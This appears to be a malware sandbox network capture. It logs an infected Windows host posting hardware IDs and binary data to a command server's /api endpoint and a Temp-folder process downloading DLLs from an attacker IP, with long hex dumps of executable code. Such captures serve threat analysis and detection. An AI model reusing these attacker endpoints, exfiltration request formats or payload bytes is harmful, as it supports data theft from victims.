2024-05-24 11:43:44 UTC	16384	IN	Data Raw: 10 88 41 03 0f b6 41 04 d1 e8 8a 80 68 f9 02 10 88 41 04 0f b6 41 05 d1 e8 8a 80 68 f9 02 10 88 41 05 0f b6 41 06 d1 e8 8a 80 68 f9 02 10 88 41 06 0f b6 41 07 d1 e8 8a 80 68 f9 02 10 88 41 07 ba 01 01 01 01 8b 31 31 d6 33 51 04 b8 01 00 00 00 09 f2 0f 84 37 01 00 00 ba 1f 1f 1f 1f 33 11 be 0e 0e 0e 0e 33 71 04 09 d6 0f 84 20 01 00 00 ba e0 e0 e0 e0 33 11 be f1 f1 f1 f1 33 71 04 09 d6 0f 84 09 01 00 00 ba fe fe fe fe 8b 31 31 d6 33 51 04 09 f2 0f 84 f5 00 00 00 ba 01 fe 01 fe 8b 31 31 d6 33 51 04 09 f2 0f 84 e1 00 00 00 ba fe 01 fe 01 8b 31 31 d6 33 51 04 09 f2 0f 84 cd 00 00 00 ba 1f e0 1f e0 33 11 be 0e f1 0e f1 33 71 04 09 d6 0f 84 b6 00 00 00 ba e0 1f e0 1f 33 11 be f1 0e f1 0e 33 71 04 09 d6 0f 84 9f 00 00 00 ba 01 e0 01 e0 33 11 be 01 f1 01 f1 33 71 Data Ascii: AAhAAhAAhAAhA113Q733q 33q113Q113Q113Q33q33q33q
2024-05-24 11:43:44 UTC	16384	IN	Data Raw: 00 e9 21 07 00 00 3d 50 06 00 00 0f 8f aa 01 00 00 3d 51 05 00 00 74 2d 3d 52 05 00 00 74 12 3d 55 05 00 00 0f 85 0a 07 00 00 c7 47 0c 01 00 00 00 83 7b 04 00 0f 84 ec 06 00 00 83 7b 08 10 0f 85 e2 06 00 00 c7 47 18 10 00 00 00 83 7c 24 24 25 0f 85 fb 07 00 00 6a 11 ff 74 24 30 e8 44 c7 00 00 83 c4 08 85 c0 0f 84 78 09 00 00 89 c7 31 c0 81 3b 51 05 00 00 0f 95 c0 ff 77 1c 8b 4d 20 51 50 ff 73 04 ff 77 18 e8 09 1e ff ff 83 c4 14 8b 4c 24 28 89 41 64 57 e8 a9 c6 00 00 83 c4 04 8b 44 24 28 83 78 64 00 0f 84 bf 08 00 00 83 7d 20 00 b9 60 2a 00 10 ba 20 2a 00 10 0f 44 d1 89 50 74 c7 80 84 00 00 00 e0 29 00 10 e9 eb 08 00 00 3d 09 21 00 00 0f 8e 1c 02 00 00 3d 0a 21 00 00 0f 84 08 02 00 00 3d 0b 21 00 00 0f 84 23 02 00 00 3d 21 40 00 00 0f 85 37 06 00 00 83 7c Data Ascii: !=P=Qt-=Rt=UG{{G\|$$%jt$0Dx1;QwM QPswL$(AdWD$(xd} `* *DPt)=!=!=!#=!@7\|
2024-05-24 11:43:44 UTC	16384	IN	Data Raw: 14 90 03 10 31 e8 89 45 f0 ff 75 08 e8 35 ab 00 00 83 c4 04 85 c0 74 5f 89 c6 8b 78 38 bb 91 00 00 00 85 ff 74 56 83 3f 03 75 51 8b 4d 18 8b 47 04 83 7d 14 00 74 59 8b 5d 0c 85 c0 74 64 89 ce 8b 4d 08 89 da 6a 03 ff 75 10 e8 47 fa ff ff 83 c4 08 89 c3 85 c0 75 24 56 ff 75 14 ff 75 08 e8 72 fd ff ff 83 c4 0c 89 c6 8b 4d f0 31 e9 e8 a3 8b 01 00 89 f0 eb 11 bb b3 00 00 00 8b 4d f0 31 e9 e8 90 8b 01 00 89 d8 83 c4 10 5e 5f 5b 5d c3 85 c0 74 06 83 7f 68 00 74 5a 81 c7 90 00 00 00 eb 55 8b 01 89 45 e8 8b 47 64 89 45 e4 8b 4f 74 ff 15 00 a0 03 10 8d 45 ec ff 75 10 53 ff 75 e8 50 ff 75 14 ff 75 e4 ff d1 83 c4 18 85 c0 74 32 e8 a1 8d 01 00 50 e8 eb 84 00 00 83 c4 04 8b 55 ec 8b 4d 18 89 11 bb 50 01 00 00 3d 50 01 00 00 74 8a eb 18 83 c7 60 8b 07 89 01 31 db e9 7a Data Ascii: 1Eu5t_x8tV?uQMG}tY]tdMjuGu$VuurM1M1^_[]thtZUEGdEOtEuSuPuut2PUMP=Pt`1z
2024-05-24 11:43:44 UTC	16384	IN	Data Raw: d8 00 00 00 00 c7 45 d4 04 00 00 00 eb 18 0f 1f 84 00 00 00 00 00 8b 47 fc 8b 00 89 45 d8 83 c7 0c 83 c6 ff 74 5a 8b 47 f8 85 c0 74 19 3d 61 01 00 00 74 e2 8b 4f fc eb 15 66 2e 0f 1f 84 00 00 00 00 00 0f 1f 00 8b 4f fc 8b 11 89 55 d4 ff 37 51 50 ff 75 dc e8 8c 53 00 00 83 c4 10 85 c0 74 bd 89 c3 e9 80 01 00 00 bf 02 00 00 00 e9 83 01 00 00 c7 45 d4 04 00 00 00 c7 45 d8 00 00 00 00 8b 45 10 8b 4d 0c 83 ec 1c 0f 28 05 40 fb 02 10 0f 11 44 24 0c 89 44 24 08 89 4c 24 04 8b 45 08 89 04 24 e8 fe 7c ff ff 83 c4 1c 85 c0 74 0c 89 c3 ff 75 dc e8 7d 5a 00 00 eb 3d 8b 7d 18 8b 5d 14 57 e8 8b 4d 01 00 83 c4 04 89 c6 89 7d ec 8d 45 ec 50 56 57 53 ff 75 08 e8 e8 9a ff ff 83 c4 14 85 c0 74 26 89 c3 ff 75 dc e8 47 5a 00 00 83 c4 04 56 e8 78 4d 01 00 83 c4 04 83 fb 40 bf Data Ascii: EGEtZGt=atOf.OU7QPuStEEEM(@D$D$L$E$\|tu}Z=}]WM}EPVWSut&uGZVxM@
2024-05-24 11:43:44 UTC	16384	IN	Data Raw: 8b 48 38 b8 91 00 00 00 85 c9 74 4a 83 39 02 75 45 83 79 04 00 74 3f 8b 55 0c 8b 59 6c 83 c3 08 89 1f 31 c0 85 d2 74 2e b8 50 01 00 00 39 de 72 25 8b 01 89 02 8b 41 70 89 42 04 83 c2 08 ff 71 6c ff 71 64 52 e8 cc 0f 01 00 83 c4 0c 31 c0 eb 05 b8 b3 00 00 00 5e 5f 5b 5d c3 cc cc cc cc cc cc cc cc cc cc cc 55 89 e5 53 57 56 83 ec 10 8b 7d 10 a1 14 90 03 10 31 e8 89 45 f0 85 ff 0f 84 2d 01 00 00 8b 5d 0c 8b 33 ff 75 08 e8 b5 2a 00 00 83 c4 04 b9 b3 00 00 00 85 c0 0f 84 12 01 00 00 83 fe 0a 0f 87 f7 00 00 00 b9 78 06 00 00 0f a3 f1 73 12 8d 48 38 eb 1a 66 2e 0f 1f 84 00 00 00 00 00 0f 1f 00 b9 83 01 00 00 0f a3 f1 73 e4 8d 48 34 8b 09 83 fe 0a 77 2f ba 78 06 00 00 0f a3 f2 73 12 83 c0 38 eb 1a 66 2e 0f 1f 84 00 00 00 00 00 0f 1f 00 ba 83 01 00 00 0f a3 f2 73 Data Ascii: H8tJ9uEyt?UYl1t.P9r%ApBqlqdR1^_[]USWV}1E-]3u*xsH8f.sH4w/xs8f.s
2024-05-24 11:43:44 UTC	16384	IN	Data Raw: cc cc cc cc cc cc 55 89 e5 53 57 56 ff 75 08 e8 c2 d8 ff ff 83 c4 04 85 c0 0f 84 9c 03 00 00 89 c6 c7 40 24 00 00 00 00 bf 02 00 00 00 83 78 0c 00 0f 88 54 03 00 00 ff 76 34 ff 15 f0 7b 03 10 83 c4 04 8b 46 34 8b 5e 40 8d 4b 01 89 4e 40 50 ff 15 10 7c 03 10 83 c4 04 83 fb 2c 0f 8f 29 03 00 00 6b c3 54 8d 0c 06 83 c1 64 89 4c 06 5c c7 44 06 64 57 43 53 ce c7 44 06 60 04 00 00 00 c7 44 06 58 00 00 00 00 c7 44 06 54 00 00 00 00 0f 57 c0 0f 11 44 06 44 83 7e 0c 00 0f 88 ea 02 00 00 8d 1c 06 83 c3 44 ff 76 34 ff 15 f0 7b 03 10 83 c4 04 69 4b 10 c5 90 c6 6a 8b 86 0c 0f 00 00 83 c0 ff 21 c8 8b 8c 86 10 0f 00 00 89 0b c7 43 04 00 00 00 00 8b 8c 86 10 0f 00 00 85 c9 74 03 89 59 04 89 9c 86 10 0f 00 00 ff 76 34 ff 15 10 7c 03 10 83 c4 04 83 7e 0c 00 0f 88 8b 02 00 Data Ascii: USWVu@$xTv4{F4^@KN@P\|,)kTdL\DdWCSD`DXDTWDD~Dv4{iKj!CtYv4\|~
2024-05-24 11:43:44 UTC	16384	IN	Data Raw: 00 89 f8 81 c4 3c 01 00 00 5e 5f 5b 5d c3 cc cc cc cc cc cc cc cc 55 89 e5 53 57 56 89 d6 89 cf 8b 5d 08 8b 4b 24 ff 15 00 a0 03 10 ff 75 14 ff 75 10 ff 75 0c 53 ff d1 83 c4 10 85 c0 75 1e 31 c0 39 5e 34 0f 94 c0 89 f9 89 f2 ff 75 14 ff 75 10 ff 75 0c 50 e8 1c 2b 00 00 83 c4 10 5e 5f 5b 5d c3 cc cc cc cc 55 89 e5 53 57 56 83 ec 10 8b 45 08 8b 0d 14 90 03 10 31 e9 89 4d f0 c7 45 ec 00 00 00 00 85 c0 74 63 8b 75 10 8b 58 34 85 db 74 5d 85 f6 74 5f 8b 4d 0c 8d 45 e8 8d 7d ec 89 f2 50 57 e8 8e 00 00 00 83 c4 08 85 c0 74 60 89 c7 8b 45 ec 89 45 e4 8b 4b 14 ff 15 00 a0 03 10 ff 75 14 56 57 53 8b 5d e4 ff d1 83 c4 10 89 c6 85 db 74 40 57 e8 96 8d 00 00 83 c4 04 ff 75 e8 53 e8 b4 8d 00 00 83 c4 08 eb 29 31 f6 eb 25 8b 18 85 f6 75 a1 8b 4b 14 ff 15 00 a0 03 10 ff Data Ascii: <^_[]USWV]K$uuuSu19^4uuuP+^_[]USWVE1MEtcuX4t]t_ME}PWt`EEKuVWS]t@WuS)1%uK

Session ID	Source IP	Source Port	Destination IP	Destination Port
126	192.168.2.4	63779	188.114.97.3	443

Timestamp	Bytes transferred	Direction	Data
2024-05-24 11:43:43 UTC	289	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 13630 Host: employhabragaomlsp.shop
2024-05-24 11:43:43 UTC	13630	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 38 38 34 37 45 33 44 36 38 31 34 43 38 32 43 31 35 41 30 41 32 30 31 38 45 45 31 31 37 30 38 42 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 48 38 4e 67 43 6c 2d 2d 0d 0a 2d 2d 62 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"8847E3D6814C82C15A0A2018EE11708B--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"H8NgCl----b
2024-05-24 11:43:44 UTC	816	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 11:43:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=ak295kojnrdksls4jeuloul11k; expires=Tue, 17-Sep-2024 05:30:23 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=8G5vDA0tP4kGP%2BfWnG92SCOA%2FgFdtIuWgxu4gmZfNxQAQZaAEoS5LMm49Z5jldi7B79wO0hUfLG7K0X35PRgAae6%2FhYJVTYu6sJmLBqkr%2B3vqS0SuHTTKgpmgSEe%2Ff9zJJV00MBnZZiVOA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 888d079a8ffa558f-EWR alt-svc: h3=":443"; ma=86400
2024-05-24 11:43:44 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 37 35 0d 0a Data Ascii: fok 8.46.123.175
2024-05-24 11:43:44 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
127	192.168.2.4	63783	188.114.97.3	443

Timestamp	Bytes transferred	Direction	Data
2024-05-24 11:43:45 UTC	289	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20432 Host: employhabragaomlsp.shop
2024-05-24 11:43:45 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 38 38 34 37 45 33 44 36 38 31 34 43 38 32 43 31 35 41 30 41 32 30 31 38 45 45 31 31 37 30 38 42 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 48 38 4e 67 43 6c 2d 2d 0d 0a 2d 2d 62 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"8847E3D6814C82C15A0A2018EE11708B--be85de5ipdocierre1Content-Disposition: form-data; name="pid"3--be85de5ipdocierre1Content-Disposition: form-data; name="lid"H8NgCl----b
2024-05-24 11:43:45 UTC	5101	OUT	Data Raw: 00 00 60 93 1b 88 82 85 4d 3f 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 6c 72 83 51 b0 b0 e9 a7 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 4d 6e 20 0a 16 36 fd 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 c9 0d 46 c1 c2 a6 9f 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 36 b9 81 28 58 d8 f4 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 26 37 18 05 0b 9b 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 e4 06 a2 60 61 d3 4f 03 00 00 00 00 00 00 Data Ascii: `M?lrQMn 64F6(X&7~`aO
2024-05-24 11:43:45 UTC	806	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 11:43:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=ib1ksakgah4cdbb36amhmhlgg1; expires=Tue, 17-Sep-2024 05:30:24 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=D8b1qcnpRd3TF4HVC9Q8Xk8wam5w0jaWFjLg5ikX1xLhXmC9rW9gSOjN9WJhWt9QC9PC27dr5BEqYhL8myUyjl5qkDMKCfxdwMAXOydCwCtHAALCw977CRjqDxikWZ5o6rzeav9gdHE80g%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 888d07a3cd357c7c-EWR alt-svc: h3=":443"; ma=86400
2024-05-24 11:43:45 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 37 35 0d 0a Data Ascii: fok 8.46.123.175
2024-05-24 11:43:45 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
128	192.168.2.4	63782	65.109.242.59	443	7456	C:\Users\user\AppData\Local\Temp\katDE8F.tmp

Timestamp	Bytes transferred	Direction	Data
2024-05-24 11:43:45 UTC	178	OUT	GET /vcruntime140.dll HTTP/1.1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0 Host: 65.109.242.59 Cache-Control: no-cache
2024-05-24 11:43:45 UTC	245	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 24 May 2024 11:43:45 GMT Content-Type: application/octet-stream Content-Length: 80880 Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT Connection: close ETag: "6315a9f4-13bf0" Accept-Ranges: bytes
2024-05-24 11:43:45 UTC	16139	IN	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$08euRichPEL\|0]"
2024-05-24 11:43:45 UTC	16384	IN	Data Raw: ff ff eb 1e 0f b6 4e 03 0f b6 42 03 2b c8 74 12 33 c0 85 c9 0f 9f c0 8d 0c 45 ff ff ff ff eb 02 33 c9 85 c9 0f 85 6f 05 00 00 8b 46 04 3b 42 04 74 4f 0f b6 f8 0f b6 42 04 2b f8 75 18 0f b6 7e 05 0f b6 42 05 2b f8 75 0c 0f b6 7e 06 0f b6 42 06 2b f8 74 10 33 c9 85 ff 0f 9f c1 8d 0c 4d ff ff ff ff eb 1e 0f b6 4e 07 0f b6 42 07 2b c8 74 12 33 c0 85 c9 0f 9f c0 8d 0c 45 ff ff ff ff eb 02 33 c9 85 c9 0f 85 0e 05 00 00 8b 46 08 3b 42 08 74 4f 0f b6 f8 0f b6 42 08 2b f8 75 18 0f b6 7e 09 0f b6 42 09 2b f8 75 0c 0f b6 7e 0a 0f b6 42 0a 2b f8 74 10 33 c9 85 ff 0f 9f c1 8d 0c 4d ff ff ff ff eb 1e 0f b6 4e 0b 0f b6 42 0b 2b c8 74 12 33 c0 85 c9 0f 9f c0 8d 0c 45 ff ff ff ff eb 02 33 c9 85 c9 0f 85 ad 04 00 00 8b 46 0c 3b 42 0c 74 4f 0f b6 f8 0f b6 42 0c 2b f8 75 18 Data Ascii: NB+t3E3oF;BtOB+u~B+u~B+t3MNB+t3E3F;BtOB+u~B+u~B+t3MNB+t3E3F;BtOB+u
2024-05-24 11:43:46 UTC	16384	IN	Data Raw: 08 00 00 59 6a 28 8d 4d 80 8b f0 e8 67 f3 ff ff 56 8d 4d f0 51 8b c8 e8 0a f7 ff ff 6a 29 8d 85 70 ff ff ff 50 8d 4d f0 e8 1b f7 ff ff 50 8d 4d f8 e8 78 f7 ff ff 81 7d dc 00 08 00 00 75 1a 8b c3 25 00 07 00 00 3d 00 02 00 00 74 0c 8d 45 98 50 8d 4d f8 e8 55 f7 ff ff a1 98 f2 00 10 c1 e8 13 f7 d0 a8 01 8d 45 cc 50 74 11 e8 92 2e 00 00 59 50 8d 4d f8 e8 34 f7 ff ff eb 0f e8 81 2e 00 00 59 50 8d 4d f8 e8 9f f8 ff ff 8d 45 cc 50 e8 69 23 00 00 59 50 8d 4d f8 e8 10 f7 ff ff a1 98 f2 00 10 c1 e8 08 f7 d0 a8 01 8d 45 cc 50 74 11 e8 30 3e 00 00 59 50 8d 4d f8 e8 ef f6 ff ff eb 0f e8 1f 3e 00 00 59 50 8d 4d f8 e8 5a f8 ff ff 8d 45 cc 50 e8 6a 19 00 00 59 50 8d 4d f8 e8 47 f8 ff ff a1 98 f2 00 10 c1 e8 02 f7 d0 a8 01 74 20 85 ff 74 1c 8b 45 f8 89 07 8b 45 fc 89 47 Data Ascii: Yj(MgVMQj)pPMPMx}u%=tEPMUEPt.YPM4.YPMEPi#YPMEPt0>YPM>YPMZEPjYPMGt tEEG
2024-05-24 11:43:46 UTC	16384	IN	Data Raw: 0f 83 fa 10 74 15 b8 ff ff 00 00 e9 f7 01 00 00 81 c9 80 00 00 00 eb 03 83 c9 40 83 e0 06 2b c7 0f 84 df 01 00 00 2b c6 74 1e 2b c6 74 0f 2b c6 75 d4 81 c9 00 04 00 00 e9 c8 01 00 00 81 c9 00 01 00 00 e9 bd 01 00 00 81 c9 00 02 00 00 e9 b2 01 00 00 2b c6 75 af 8d 51 01 89 15 90 f2 00 10 8a 02 3c 30 7c 2a 3c 39 7f 26 0f be c0 83 c2 d1 03 c2 a3 90 f2 00 10 e8 8c fe ff ff 0d 00 00 01 00 e9 81 01 00 00 b8 fe ff 00 00 e9 77 01 00 00 b9 ff ff 00 00 e9 dc 00 00 00 83 f8 2f 0f 8e 63 ff ff ff 8b f2 83 f8 35 7e 62 83 f8 41 0f 85 53 ff ff ff 81 c9 00 90 00 00 e9 b8 00 00 00 b9 fe ff 00 00 4a e9 ad 00 00 00 81 c9 00 98 00 00 e9 a2 00 00 00 83 e8 43 0f 84 94 00 00 00 83 e8 01 0f 84 83 00 00 00 83 e8 01 74 76 83 e8 0d 0f 85 12 ff ff ff 42 89 15 90 f2 00 10 8b f2 8a 0a Data Ascii: t@++t+t+u+uQ<0\|*<9&w/c5~bASJCtvB
2024-05-24 11:43:46 UTC	15589	IN	Data Raw: ae e8 7c cd cc c1 be ea d2 ff 35 4e c0 ce b5 7a ad bb a6 bb 2e dc 94 e9 f3 1e 7d e0 ec 28 a3 07 82 66 5a c3 5b 5a cb ec 03 c9 e3 2c 94 15 21 2b a0 f9 d9 9b 4b e7 b6 de eb 20 51 8c 3e fa 2c 23 d5 18 b0 f0 b1 a0 70 6c 7a ef 8b 83 48 a6 3a 02 06 ef a0 8a 2c b7 88 45 30 82 05 ff 30 82 03 e7 a0 03 02 01 02 02 13 33 00 00 01 51 9e 8d 8f 40 71 a3 0e 41 00 00 00 00 01 51 30 0d 06 09 2a 86 48 86 f7 0d 01 01 0b 05 00 30 7e 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 28 30 26 06 03 55 04 03 13 1f 4d 69 63 72 6f 73 6f 66 74 20 43 6f 64 65 20 53 69 67 6e 69 6e Data Ascii: \|5Nz.}(fZ[Z,!+K Q>,#plzH:,E003Q@qAQ0*H0~10UUS10UWashington10URedmond10UMicrosoft Corporation1(0&UMicrosoft Code Signin

Session ID	Source IP	Source Port	Destination IP	Destination Port
129	192.168.2.4	63784	188.114.97.3	443

Timestamp	Bytes transferred	Direction	Data
2024-05-24 11:43:46 UTC	288	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 5433 Host: employhabragaomlsp.shop
2024-05-24 11:43:46 UTC	5433	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 38 38 34 37 45 33 44 36 38 31 34 43 38 32 43 31 35 41 30 41 32 30 31 38 45 45 31 31 37 30 38 42 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 48 38 4e 67 43 6c 2d 2d 0d 0a 2d 2d 62 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"8847E3D6814C82C15A0A2018EE11708B--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"H8NgCl----b
2024-05-24 11:43:47 UTC	818	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 11:43:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=sps3rnqs55bjqguk6d5859g8b5; expires=Tue, 17-Sep-2024 05:30:25 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=aSoaFmIzF7iIREwmIB47oDji5nCW%2Feccvm4lQZ%2B%2F%2FVjbWgcaALMh0Rt3H5oTgkW%2B4bH15b5tacJI5Ua6U9HyHQeqi1QrQKqbEgqoOGoaS7PoaXsng0nHFyP0vwjrjPvra6EVZ%2B830DvC2A%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 888d07acbad44211-EWR alt-svc: h3=":443"; ma=86400
2024-05-24 11:43:47 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 37 35 0d 0a Data Ascii: fok 8.46.123.175
2024-05-24 11:43:47 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
130	192.168.2.4	63785	65.109.242.59	443	7456	C:\Users\user\AppData\Local\Temp\katDE8F.tmp

Timestamp	Bytes transferred	Direction	Data
2024-05-24 11:43:47 UTC	279	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----CGDBGCBGIDHCBGDHIEBF User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0 Host: 65.109.242.59 Content-Length: 1145 Connection: Keep-Alive Cache-Control: no-cache
